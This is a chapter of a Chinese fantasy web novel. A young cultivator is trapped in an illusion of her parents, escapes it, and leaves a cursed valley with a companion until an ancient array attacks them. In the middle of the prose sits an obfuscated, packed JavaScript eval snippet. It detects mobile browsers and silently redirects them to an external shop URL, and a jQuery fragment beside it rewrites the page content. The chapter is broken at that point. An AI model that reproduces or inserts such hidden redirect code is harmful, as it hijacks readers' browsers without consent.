断魂草瞬间化作漫天粉末。
失去灵草承载的巨大怨念再也无法压制,浓郁的黑雾翻涌而出,如决堤洪水般快速朝姜念扑去。
姜念下意识地催动灵力抵挡,可那黑雾却仿佛无孔不入,不过眨眼之间,便将她彻底吞没。
在姜念意识逐渐模糊之际,她隐约听见那名渊族弟子阴冷的笑声。
“慢慢享受吧。”
“就在幻境里等死吧。”
然后,一切声音和画面渐渐远去。
……
一阵微凉的晚风轻轻拂过脸颊。
姜念缓缓睁开双眼,映入眼帘的是一片熟悉的湖泊。夕阳洒落在湖面,泛起粼粼波光,岸边的青草随着微风轻轻摇曳。
她靠在一块巨石上,怔怔地望着眼前的一切,神情有些恍惚。
片刻后,她像是忽然想起了什么,赶忙站起身来,拍掉裙摆上的泥土和草屑。
糟了。
偷偷跑出来玩,怎么还在湖边睡着了,爹娘肯定等急了。她连忙沿着湖边的那条林间小路往回跑去。
不多时,就看到一辆熟悉的马车停在那里。
马车旁,一男一女正站在树下。看见姜念跑来,妇人脸上露出温柔的笑意。
“念念。”
“娘。”
妇人走上前,轻柔地替姜念理了理被风吹乱的发丝,笑着说道:“瞧瞧你,跑哪儿去了,跑得满头都是汗,快坐下休息吧。”
姜念有些不好意思地低下头,“娘,我刚刚去湖边玩了一会儿。”
一旁的男人则板起了脸,“不是答应过我,不许一个人跑那么远吗?”
姜念抱住他的胳膊轻轻晃了晃,“爹,我知道错了,下次不会了。”
男人绷着脸看了姜念半天,终究还是无奈地笑了,刮了刮她的鼻子,“你啊。”
妇人在一旁笑道:“好了好了,孩子平安回来就好。”
妇人边说着,边从马车里取出几个食盒,“念念,肚子饿了吧?快过来吃点东西。”
姜念一听这话,连忙跑到树下坐好,仰着头眼巴巴地等着。妇人将一碟碟饭菜摆在姜念面前,和男人一起也坐了下来。
“都是你爱吃的。”
姜念看着眼前的食物,眼睛顿时亮了起来。
“松鼠鳜鱼!”
“还有枣泥山药糕!”
她开心地夹起一块鱼肉放进嘴里,满足得眯起眼睛,“真香,还是娘做的最好吃。”
妇人笑着替她擦去嘴角沾上的一点汤汁,“慢点吃,又没人跟你抢。”
男人坐在一旁,笑着问姜念:“今天去湖边都玩什么了?”
姜念咽下嘴里的饭菜,笑着说道:“那湖可漂亮了……”
她的话音忽然一顿,笑容僵在了脸上,那湖确实漂亮,水面在夕阳的映射下像碎银一样。可到了湖边之后呢?她做了些什么?
姜念脑子里一片空白。
奇怪……
她皱了皱眉,又歪着脑袋想了一会,还是毫无头绪。大约是自己睡糊涂了,她便不再纠结,笑着说道:“后来我就在湖边躺了一会儿,不知不觉睡着了。”
妇人轻轻点了点姜念的额头,笑了笑:“怪不得回来这么晚。”
姜念不好意思地吐了吐舌头,继续低头扒饭。
三人一边吃着饭,一边有一句没一句地聊着家常。
晚风轻轻吹过,树叶沙沙作响。姜念望着眼前的一切,只觉得心里很快乐很安宁。
吃完饭后,男人站起身,“好了,时候不早了。”
“我们该上路了。”
说着,他掀开马车的车帘,朝姜念伸出手,“念念,上车吧。”
姜念应了一声,刚要上车,又朝四周看了看。都要启程了,老李叔和秋棠去哪了,怎么还没回来?
她心中生出几分疑惑,转头问道:“爹,老李叔和秋棠去哪儿了?
男人神色如常,“老李和秋棠有事,先走一步了。”
姜念微微一怔。先走了?
老李叔是车夫,秋棠又一直跟在阿娘身边,他们怎么会先走?况且,这一路他们只有这一辆马车。没有马车,他们还能去哪儿?
她越想越觉得不对,忍不住问道:“爹,你是不是说错了?老李叔要是先走了,那谁赶车?秋棠又怎么会丢下阿娘一个人,她要去哪儿?”
男人听了这话,脸上的笑意微微一顿,却很快恢复如常。
“没事,上车再说。”
一股莫名的不安毫无征兆地涌上了姜念心头,她望着那辆熟悉的马车,心跳越来越快。
仿佛……
只要自己坐上去,就再也回不来了。
姜念站在原地,迟迟没有迈出脚步。
她总觉得哪里不对,开始回想着今天发生的一切。
今日出来的时候,明明还是正午,她抬头望向夜空,如今却早已夜幕降临。他们几人本只是在这片树荫下临时歇脚,但自己贪玩了这么久,爹娘却没有去四处找她。
甚至……他们似乎一点也不担心。
太奇怪了。
还有刚才,娘从马车里端出了热气腾腾的松鼠鳜鱼和枣泥山药糕。
这里前不着村,后不着店,四周只有一条山路,根本没有酒楼饭馆。
那盘松鼠鳜鱼,还有枣泥山药糕……究竟是怎么准备好的?
想到这里,姜念的心猛地一沉。
她缓缓抬起头,望向站在马车旁的爹娘。不知为何,眼前那两张熟悉无比的面容,此刻竟让她生出了一丝陌生。
姜念缓缓后退了一步。
“爹……”她轻轻叫了一声。
男人依旧笑着望着她,没有回应。
她又看向妇人。
“娘,这松鼠鳜鱼……是哪里弄过来的?”
妇人也笑着,“念念,先上车吧,上车再说。”
男人伸出的那只手也往前凑了凑,“念念,上车。”
姜念脚下又不由自主地后退了一步,可她退一步,面前的两人便跟着向前一步。
他们脸上的笑容始终没有变化,嘴里却一遍又一遍地重复着同样的话。
“上车。”
“念念,上车。”
“上车吧。”
那声音越来越轻,却又越来越近,姜念只觉得后背一阵发凉,浑身汗毛都竖了起来。
眼前的一切太过诡异,这根本不是她熟悉的爹娘。
姜念的心跳越来越快,一个念头突然从脑海中闪过。这里……会不会根本就不是现实?而是一场噩梦。
想到这里,她眼神一狠,猛地咬向自己的舌尖。浓郁的血腥味快速在口中蔓延开来,剧烈的疼痛瞬间席卷全身。
下一刻,眼前的一切忽然剧烈扭曲起来。
那两人的身影仿佛水中的倒影,荡起层层涟漪,那辆马车、蜿蜒的山路、远处的树林,都开始一点点变得模糊,最终彻底消散。
姜念只觉得意识一阵天旋地转,整个人仿佛从高处猛然坠落,随即陷入一片黑暗。
下一瞬,她猛地睁开双眼。映入眼帘的,是凌与那张写满了焦急的脸。
见她终于醒来,凌与紧绷的神情明显一松,“你终于醒了。”
姜念怔怔地望着凌与,胸口还在剧烈起伏,仿佛仍未从方才的幻境中回过神来。
她躺在原地缓了缓,才后知后觉地察觉到脑后枕着的地方好像不像是地面,她偏了偏头,意识到自己竟枕在凌与的腿上。
姜念连忙撑着地面坐起来,动作太急,眼前又是一阵发黑。凌与的手立刻扶上她的肩,另一只手则虚虚护在她身后,似乎生怕她随时倒下去。
姜念环顾四周,发现她仍躺在方才采摘幽魂草的地方,四周阴风阵阵,那个渊族弟子早已不见了踪影。
凌与的声音从身旁传来:“你还好吗?”
姜念还有些恍惚,她摇了摇头,又点了点头。
“……还好。”
凌与看着她,直到确认她眼神已恢复清明,才暗暗松了口气。
“方才我察觉到这边突然爆发出一股极强的怨念,担心是你或者青梧出了意外,就立刻赶了过来。”
“等我赶到时,就看见你一个人昏倒在这里,怎么叫都叫不醒。”
说到这里,凌与眉头一紧,“到底发生什么事了?”
姜念理了理思绪,简单将自己遇见那名渊族弟子,以及对方出手袭击自己的经过说了一遍。
至于后来幽魂草中的怨念爆发,将自己卷入幻境的事,她也奚数告知。
“只是……”姜念轻轻皱起眉,用手指按了按太阳穴,“幻境里的事,我已经记不太清了。”
她努力回想着,脑海中却只剩几个模糊的画面一闪而过,“我只记得……里面好像有两个人。”
“我好像不认识他们,但他们却又让我觉得很亲近。”
姜念越想越觉得头疼,捂住了自己的额头。
“唔……”
一阵尖锐的刺痛袭来。
“头……好痛……”
凌与见状,赶忙轻轻拍了拍她的背,“想不起来就别想了。”
“幽魂草制造的幻境本就会影响神识,强行回忆,对你没有好处。”
姜念点了点头,没有再勉强自己回忆。
她坐在原地,调息片刻,待体内翻涌的气息渐渐平复,脸色也慢慢恢复了血色。
凌与见姜念已无大碍,抬手一翻,随即,几株幽魂草便出现在空中。
“我来前已经采了几株。”他指尖微动,一缕微风便将其中一株稳稳地送到姜念面前,“你那株已被抢走,便拿这一株回去交差吧。”
姜念微微一怔,没有推辞,将幽魂草收入了灵囊内。
“多谢。”
凌与轻轻颔首,收起剩余的幽魂草,扫了一眼四周越来越浓的雾气,“此地怨气太重,不宜久留。”
“走吧。”
“好。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17688626|206856||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
姜念应了一声,跟在凌与身后,一同朝断魂谷外围走去。
山谷寂静无声,唯有二人脚步踩过碎石时发出的轻微声响。
良久,姜念终于开口,她轻声问道:“那幻境……为何会让我看见那些人?”
凌与脚步微顿,“我曾听闻,断魂谷中的幻境,会勾起人心中最深的执念,有时也会映照出一些尘封的记忆。”
姜念垂下眼帘,依然在细细回想着幻境中的一切,“可我看见的人,我却不认识。”
凌与思索片刻,“若真是记忆所映,也许……是你失去记忆前认识的人。”
姜念闻言,不由陷入沉思。
她已记不清幻境中究竟发生了什么,就连那两人的容貌也已变得模糊不清。
可那份难以言喻的亲近感和眷恋却久久没有散去,仿佛那两人曾是她生命中极重要的人。
难道,他们会是她的爹娘,流火与霜寒?
可这个念头刚一升起,她心里就产生了一丝疑虑。
流火与霜寒乃至高神明,而幻境中的两人,身上却没有半分高高在上的神明威仪,那装扮与气场反倒更像一对再寻常不过的人间夫妻。
姜念轻轻抿了抿唇,眼下他们还身处断魂谷,危机未除,显然不是追究这两人究竟是谁的时候。
等离开断魂谷后,再去查阅有关流火与霜寒的记载吧,说不定能从中找到一些答案。
姜念收回思绪,看向身旁的凌与,“也不知道青梧现在怎么样了。”
凌与转过头来,“她若已经采到幽魂草,应当会尽快离开断魂谷。”
他说到这里,突然有一些迟疑,像是想起了什么,“只是,若她到了谷外,迟迟等不到我们,恐怕还会折返回来寻我们。”
姜念闻言,心头一紧。
青梧向来重情重义,这种事,她的确做得出来。
想到这里,姜念不由加快了脚步,“那我们也快些出去吧。”
凌与点了点头,“好。”
就在迈出几步后,凌与又像是忽然想起了什么,又开口道:“现在想来,倒有些后怕。”
姜念闻言,望向凌与。
“我采到幽魂草后,本已走出一段路,准备离开断魂谷。”他的语气中渐渐多了几分庆幸,“后来察觉到那边怨念骤然爆发,才折返回去。”
他一边说,一边看向姜念。
山谷寂静,四目相对。
他唇角扬起一抹极浅的笑意,“如今想来……”
“幸好,我回去了。”
姜念轻轻点了点头,垂下眼眸。
她知道,若不是凌与在自己陷入幻境后及时赶到,守在她的身旁,还将幽魂草分给她,只怕后面还会生出更多变故。
这份情,她默默记在了心里。
二人一路朝断魂谷外围走去,没走多久,凌与脚步忽然一顿。
他回头望了一眼。
身后依旧雾气弥漫,没有任何异常。可不知为何,他心中却隐隐生出一丝不安。
“怎么了?”姜念顺着他的目光望去,却什么也没有发现。
凌与摇了摇头,“没什么,或许是我多心了。”
话音刚落。
空气中的灵力忽然变得紊乱起来。
轰——
他们脚下的地面突然开始震颤。
二人同时停下脚步,警惕着看着周围。
下一瞬,地面浮现出一道道古老的阵纹,沿着山石和地面飞速蔓延,不过眨眼之间,便扩散至四面八方。
凌与脸色微变,“阵法?”
还未等他反应过来,周围那些枯败的古木忽然生出了异动。树干深处传出“咔咔”的断裂声,树身猛的向上拔高,变得越来越高大。
枝条也同时以肉眼可见的速度疯狂生长,越来越密,铺天盖地地朝二人缠绕而来。
“小心!”
凌与一步挡在姜念身前,挥手斩出数道风刃,瞬间将最前方的枝条尽数斩断。
姜念也立刻催动御风诀,一道道风刃接连飞出,将另一侧逼近的枝条切成碎片。
然而,这些断裂的枝条尚未落地,更多的树枝便更加疯狂地生长起来,仿佛无穷无尽。
眨眼之间,这些枝条就在二人周围编织出了一张巨大的囚笼,这囚笼越收越紧,即将把二人困在其中。
凌与眼神一凛,双手快速结印,紧接着,一股磅礴的狂风以他为中心,向四周扩散,似雷霆万钧,轰然撞上四周扭在一起的枝条。
整座囚笼剧烈震颤,无数枝条接连崩断,碎裂声震耳欲聋,木屑漫天飞舞。眨眼之间,一条通路便被硬生生开辟了出来。
可还未等二人迈步,地底再次传来沉闷的轰鸣。
更多大树破土而出,越来越多的枝条以比之前更快的速度疯狂朝二人席卷而来。
凌与眉头紧锁,“不能再拖了,走。”
他身后,白色羽翼骤然展开。他一把揽住姜念的腰,纵身冲天而起。